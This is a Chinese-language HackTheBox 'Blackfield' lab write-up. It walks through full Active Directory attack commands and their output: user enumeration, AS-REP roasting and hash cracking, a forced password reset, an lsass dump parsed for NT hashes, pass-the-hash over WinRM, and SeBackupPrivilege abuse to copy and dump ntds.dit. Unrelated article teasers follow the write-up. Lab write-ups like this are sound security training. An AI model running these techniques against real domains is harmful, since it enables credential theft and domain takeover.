HackTheBox Blackfield

news2024/11/19 3:30:37

]
[1]

靶机信息
状态退役
难度Hard
IP/
地址https://app.hackthebox.com/machines/Blackfield
价格需要订阅 14$ /20 $ /月

端口扫描

└──╼ #nmap -p- --min-rate=1000 -T4 10.129.229.17
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-14 14:14 GMT
Nmap scan report for 10.129.229.17
Host is up (0.30s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
389/tcp  open  ldap
445/tcp  open  microsoft-ds
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
5985/tcp open  wsman

端口测试

SMB_匿名登陆

└─\ ✨ smbclient -N -L \\10.129.229.17                                                                                                
        Sharename       Type      Comment                                              
        ---------       ----      -------                                              
        ADMIN$          Disk      Remote Admin                                         
        C$              Disk      Default share                                        
        forensic        Disk      Forensic / Audit share.                              
        IPC$            IPC       Remote IPC                                           
        NETLOGON        Disk      Logon server share                                   
        profiles$       Disk                                                           
        SYSVOL          Disk      Logon server share 
└─\ ✨ smbmap -u guest -p '' -H 10.129.229.17
[+] IP: 10.129.229.17:445       Name: 10.129.229.17             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        forensic                                                NO ACCESS       Forensic / Audit share.
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        profiles$                                               READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share

重点查看profiles$,获得所有可能存在的用户名

└─**\ ✨** smbclient -N \\\\10.129.229.17\\profiles$ -c 'ls' | grep -v '\.' | awk -F ' ' '{print $1}' > all_users.txt

LDAP_389

扫描出域名

nmap --script="ldap*" 10.129.229.17
或者使用windapsearch
python3 /opt/windapsearch/windapsearch.py --dc-ip 10.129.229.17 -u guest -p ''
python3 /opt/windapsearch/windapsearch.py --dc-ip 10.129.229.17 -u '' -p ''

获得域名为blackfield.local

88_kerberos-sec

枚举目标域中的用户账户

└─\ ✨ kerbrute userenum -d blackfield.local --dc 10.129.229.17 all_user.txt                                                 
2024/03/17 21:01:17 >  Using KDC(s):                                                                                                                     
2024/03/17 21:01:17 >   10.129.229.17:88                                                                                                                                                                                                                                                                         
2024/03/17 21:01:42 >  [+] VALID USERNAME:       audit2020@blackfield.local                                                                              
2024/03/17 21:04:04 >  [+] VALID USERNAME:       svc_backup@blackfield.local                                                                             
2024/03/17 21:04:04 >  [+] VALID USERNAME:       support@blackfield.local   

获得三个用户,存为names.txt

audit2020
svc_backup
support

查看是否存在Do not require Kerberos preauthentication的用户

GetNPUsers.py -no-pass -usersfile names.txt blackfield.local/ -dc-ip 10.129.229.17
Impacket v0.12.0.dev1+20240208.120203.63438ae7 - Copyright 2023 Fortra

[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:21d7bf606b28356c2f5752983263025e$df6cd8800906d957156c6fa47754b611cc00013ec32b482ad47d9aa98c507513dff10e1c60d72aecc1001e16eb1bb225582f214e069a107c07c57dc3ab79ebbf8437d138247a7b2b4087a646de47a7ad5658b5a45a2810dcbe701804254a9df4bcfd0e58afd8b227550151164a965e9ba2a9760defc243a74e50aaed9e1818f2e8d9ad032343bae16c270e1952c12b37834fca851143c2f91e4982eaf0d8263858a7431d6c823cf160260a93245a98af162d4afb50fe4f7aa4d189806d54242539520391d6d546f1618f7af141579a1ddf5f8b305d3cc3a652a002a14fa067a686e1ee00dea5862ee40ad56e812b3a919dc73562

使用hashcat破解krb5asrep,模式为18200
获得一对凭据support:#00^BlackKnight

获取密码策略

└─# crackmapexec smb 10.129.229.17 -u support -p '#00^BlackKnight' --pass-pol                                                                                             
SMB         10.129.229.17   445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)                   
SMB         10.129.229.17   445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight                                                                          
SMB         10.129.229.17   445    DC01             [+] Dumping password info for domain: BLACKFIELD                                                                      
SMB         10.129.229.17   445    DC01             Minimum password length: 7                                                                                            
SMB         10.129.229.17   445    DC01             Password history length: 24                                                                                           
SMB         10.129.229.17   445    DC01             Maximum password age: 41 days 23 hours 53 minutes                                                                     
SMB         10.129.229.17   445    DC01                                                                                                                                   
SMB         10.129.229.17   445    DC01             Password Complexity Flags: 000001                                                                                     
SMB         10.129.229.17   445    DC01                 Domain Refuse Password Change: 0                                                                                  
SMB         10.129.229.17   445    DC01                 Domain Password Store Cleartext: 0                                                                                
SMB         10.129.229.17   445    DC01                 Domain Password Lockout Admins: 0                                                                                 
SMB         10.129.229.17   445    DC01                 Domain Password No Clear Change: 0                                                                                
SMB         10.129.229.17   445    DC01                 Domain Password No Anon Change: 0                                                                                 
SMB         10.129.229.17   445    DC01                 Domain Password Complex: 1                                                                                        
SMB         10.129.229.17   445    DC01                                                                                                                                   
SMB         10.129.229.17   445    DC01             Minimum password age: 1 day 4 minutes                                                                                 
SMB         10.129.229.17   445    DC01             Reset Account Lockout Counter: 30 minutes                                                                             
SMB         10.129.229.17   445    DC01             Locked Account Duration: 30 minutes                                                                                   
SMB         10.129.229.17   445    DC01             Account Lockout Threshold: None                                                                                       
SMB         10.129.229.17   445    DC01             Forced Log off Time: Not Set 

密码喷洒

将密码存到文件password.txt中,使用crackmapexec进行密码喷洒

crackmapexec smb IP -u names.txt -p password.txt --continue-on-success

确实目前只能获得一对凭据support:#00^BlackKnight
winrm失败

提权

横向移动

BloodHound-Python

对域环境进行评估和分析

bloodhound-python -c All -d blackfield.local -u support -p '#00^BlackKnight' -ns 10.129.229.17 --zip

启动neo4j,启动BloodHound,导入扫描的结果
在这里插入图片描述

support用户可以强制修改audit2020密码

net rpc password "audit2020" "St4rry2024" -U blackfield.local/support%"#00^BlackKnight" -S 10.129.229.17

将密码加入到password.txt还可以进行密码喷洒
audit2020用户可以访问smb的forensic目录
挂载到攻击机

└─**\ ✨** mount -t cifs -o username=audit2020,password=St4rry2024 //10.129.229.17/forensic /mnt/forensic/

memory_analysis目录下获得lsass.dmp的内存转储数据,可以使用pypykatz进行分析

$ pypykatz lsa minidump lsass.DMP
 == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
                DPAPI: a03cd8e9d30171f3cfe8caad92fef621
  == MSV ==
                Username: Administrator
                Domain: BLACKFIELD
                LM: NA
                NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
                SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368
                DPAPI: 240339f898b6ac4ce3f34702e4a89550

使用9658d1d1dcd9250115e2205d9f48400d可以登陆到svc_backup的winrm

evil-winrm -i IP -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
> whoami /priv
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled

纵向移动

提权参考Windows和域控制器Backup Operatorst利用的不同之处
创建文件svc_backup.dsh

set context persistent nowriters
add volume c: alias svc_backup
create
expose %svc_backup% z:

上传到目标靶机

cd C:\Temp
upload svc_backup.dsh
diskshadow /s svc_backup.dsh
robocopy /b z:\windows\ntds . ntds.dit

备份reg save hklm\system c:\Temp\system,然后download
最后secretsdump.py -ntds ntds.dit -system system.bak local

Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:f60b9b99c0ab58be3ba963f1efe29c5f:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
svc_backup:1413:aad3b435b51404eeaad3b435b51404ee:9658d1d1dcd9250115e2205d9f48400d:::

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1525633.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【iOS】ARC学习

文章目录 前言一、autorelease实现二、苹果的实现三、内存管理的思考方式__strong修饰符取得非自己生成并持有的对象__strong 修饰符的变量之间可以相互赋值类的成员变量也可以使用strong修饰 __weak修饰符循环引用 __unsafe_unretained修饰符什么时候使用__unsafe_unretained …

JVM中对象创建过程

在JVM中对象的创建,我们从一个new指令开始: 这个过程大概图示如下: 虚拟机收到new指令触发。 类加载检查:如果类没有被类加载器加载,则执行类加载流程(将class信息加载到JVM的运行时数据区的过程&#xff…

【SRE系列之docker容器】--dockerfile镜像优化

dockerfile镜像优化 1.1 镜像优化方法 系统镜像采用ubuntu或者alpine,会比centos少1G左右编写业务镜像时从官网拉取镜像,其余配置根据业务需求再配置编写dockerfile时把不用的安装包卸载或者删除尽量减少run命令的使用(一个run命令&#xf…

《手把手教你》系列技巧篇(三十九)-java+ selenium自动化测试-JavaScript的调用执行-上篇(详解教程)

1.简介 在做web自动化时,有些情况selenium的api无法完成,需要通过第三方手段比如js来完成实现,比如去改变某些元素对象的属性或者进行一些特殊的操作,本文将来讲解怎样来调用JavaScript完成特殊操作。 2.用法 创建一个执行 JS 的…

公众号关闭自定义菜单

1、登录公众号 https://mp.weixin.qq.com/ 2、找到侧边导航-》新的功能 3、已开通-》自定义菜单 4、点击停用

Cesium:绘制一个 3DTiles 对象的外包盒顶点

作者:CSDN @ _乐多_ 本文将介绍如何使用 Cesium 引擎根据模型的中心坐标,半轴信息,绘制一个 3DTiles 对象的外包盒顶点。 外包盒是一个定向包围盒(Oriented Bounding Box),它由一个中心点(center)和一个包含半轴(halfAxes)组成。半轴由一个3x3的矩阵表示,这个矩阵…

产品数据管理系统哪家好?产品数据管理系统厂商

产品数据管理系统(PDM)的选择取决于企业的具体需求、规模、行业以及预算。市场上有很多优秀的PDM供应商,每一家都有其独特的优势和特点。以下是一些在市场上广受好评的PDM供应商,供您参考: 彩虹PLM系统:彩虹…

java垃圾回收-三色标记法

三色标记法 引言什么是三色标记法白色灰色黑色 三色标记过程三色标记带来的问题多标问题漏标问题 如何弥补漏标问题增量更新原始快照总结 引言 在CMS,G1这种并发的垃圾收集器收集对象时,假如一个对象A被GC线程标记为不可达对象,但是用户线程又把A对象做…

GEE:基于变异系数法(CV)进行遥感生态指数(RSEI)波动分析

作者:CSDN @ _养乐多_ 本文将在 Google Earth Engine(GEE)平台上复现论文《基于遥感生态指数的青藏公路典型路段路域生态环境质量评估与分析》中使用变异系数法对遥感生态指数(RSEI)进行波动分析的方法和代码。 其公式如下所示, 结果如下所示, 文章目录 一、核心函数二…

c语言(数据在内存中的存储)

1. 整数在内存中的存储 整数的2进制表⽰⽅法有三种,即原码、反码和补码 三种表⽰⽅法均有符号位和数值位两部分,符号位都是⽤0表⽰“正”,⽤1表⽰“负”,⽽数值位最 ⾼位的⼀位是被当做符号位,剩余的都是数值位。 正整…

osgEarth学习笔记1-安装osgEarth开发环境

原文链接 本文主要是为了防止丢失,做一些记录,仅供个人学习使用。 QGis的学习和使用基本告一段落了。日常的应用已经离不开QGis了,常用的QGis-API和跨平台的QTQGis开发已经十分熟练了。涉及遥感和GIS领域的二维可视化、数据处理使用QT搭配Q…

Python下有关CV的一些算法和函数

目录: 1. HoughCircles二级目录三级目录 1. HoughCircles 霍夫圆检测 二级目录 三级目录

Linux系统部署DolphinScheduler任务调度系统并实现无公网IP远程访问

文章目录 前言1. 安装部署DolphinScheduler1.1 启动服务 2. 登录DolphinScheduler界面3. 安装内网穿透工具4. 配置Dolphin Scheduler公网地址5. 固定DolphinScheduler公网地址 前言 本篇教程和大家分享一下DolphinScheduler的安装部署及如何实现公网远程访问,结合内…

机试:高精度乘法

问题描述 代码示例 #include <bits/stdc.h> using namespace std;int main(){char a[64],b[64];cin >> a >> b;int A[64],B[64],C[128];for(int i 0; i < strlen(a); i){A[i] a[i] - 0;}for(int i 0; i < strlen(b); i){B[i] b[i] - 0;}// 反转 …

基于多尺度视网膜增强图像去雾算法(MSR,Multi-Scale Retinex),Matalb实现

博主简介&#xff1a; 专注、专一于Matlab图像处理学习、交流&#xff0c;matlab图像代码/项目合作可以联系&#xff08;QQ:3249726188&#xff09; 个人主页&#xff1a;Matlab_ImagePro-CSDN博客 原则&#xff1a;代码均由本人编写完成&#xff0c;非中介&#xff0c;提供有偿…

【LinuxC】C语言线程(pthread)

文章目录 一、 POSIX 线程库1.1 POSIX标准1.2 Pthreads1.2 数据类型、函数、宏1.21 数据类型1.22 函数1.23 宏 二、创建线程三、线程同步四、线程销毁五、示例5.1 完整示例5.2 信号量示例 本专栏上一篇文章是Windows下&#xff08;MSVC&#xff09;的线程编程&#xff0c;需要的…

操作系统IO模型

IO模型 如何进行网络通信 Socket通信是进程通讯的一种方式&#xff0c;通过调用这个网络库的一些API函数可以实现分布在不同主机的相关进程之间的数据交换 网络编程的基本流程是什么&#xff1f; 服务端先创建socket套接字&#xff0c;然后用这个套接字去绑定并监听某个端口&a…

社交变革:探索Facebook的魔力

社交媒体平台的崛起已经改变了我们与世界的交互方式&#xff0c;而Facebook作为其中的巨头&#xff0c;其影响力和魔力更是不可忽视。本文将深入探讨Facebook如何引领社交变革&#xff0c;并探索其背后的魔力所在。 连接世界的纽带 Facebook的独特之处在于它作为一个社交平台&…

Android 地图SDK 绘制点 删除 指定

问题 Android 地图SDK 删除指定绘制点 详细问题 笔者进行Android 项目开发&#xff0c;对于已标记的绘制点&#xff0c;提供撤回按钮&#xff0c;即删除绘制点&#xff0c;如何实现。 解决方案 新增绘制点 private List<Marker> markerList new ArrayList<>…

泰迪智能科技携手华北电力大学理学院共建“校外实践基地”

3月15日&#xff0c;华北电力大学数理学院教学副主任史会峰、科研副主任王涛、概率教研室副主任解西阳莅临泰迪智能科技产教融合实训基地开展“华北电力大学校外实践教学基地”签约揭牌仪式。泰迪智能科技董事长张良均、支持中心负责人王宏刚、外联部吴桂锋进行接待。 活动伊始…